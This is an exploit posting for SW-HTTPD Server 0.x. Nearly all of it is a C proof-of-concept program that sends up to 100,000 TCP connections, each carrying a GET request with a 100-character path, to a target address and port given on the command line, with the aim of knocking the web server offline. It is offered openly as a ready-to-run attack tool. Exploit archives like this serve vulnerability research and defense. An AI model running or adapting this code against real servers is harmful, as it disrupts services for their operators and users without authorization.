SW-HTTPD Server 0.x Remote Denial of Service Exploit

/* SW-HTTPD Server v0.x Denial of Service (PoC) Multiple Connections with GET /A[100] HTTP/1.1 After server not found all pages. Author: Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org */ #include \"stdio.h\" #include \"unistd.h\" #include \"stdlib.h\" #include \"sys/types.h\" #include \"sys/socket.h\" #include \"netinet/in.h\" int syntax(char *file) { fprintf(stderr,\"SW-HTTPD Server Denial of Service (PoC)\\n\"); fprintf(stderr,\"=>Syntax : <%s> <ip> <port>\\n\\n\",file); exit(0); } int main(int argc, char **argv) { if (argc < 2) syntax(argv[0]); int port = atoi(argv[2]); int mysocket; int mysocket2; int srv_connect; int sockaddr_long; char hexa[100] = \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\" \"\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\"; struct sockaddr_in sockaddr_mysocket; sockaddr_long = sizeof(sockaddr_mysocket); sockaddr_mysocket.sin_family = AF_INET; sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]); sockaddr_mysocket.sin_port = htons(port); int i=0; char request[118]; fprintf(stdout,\"[+]SW-HTTPD Server %s\\n\",argv[1]); for(i=0;i<100000;i++){ mysocket2 = socket(AF_INET, SOCK_STREAM, 0); if(mysocket2 == -1){ fprintf(stdout,\"[+]Done!\\n\"); return 1;} srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long); if (srv_connect != -1) { sprintf(request, \"GET /%s HTTP/1.1\\r\\n\", hexa); if (send(mysocket2,request,sizeof(request),0) == -1){ fprintf(stderr,\"[-]Send Request\\t\\t[FAILED]\\n\"); shutdown(mysocket2,1); fprintf(stdout,\"[+]Done!\\n\"); return 1;} } else{ fprintf(stderr,\"[-]Connect\\t\\t[FAILED]\\n\"); fprintf(stdout,\"[+]Done!\\n\"); shutdown(mysocket2,1); return 1;} shutdown(mysocket2,1); } return 0; }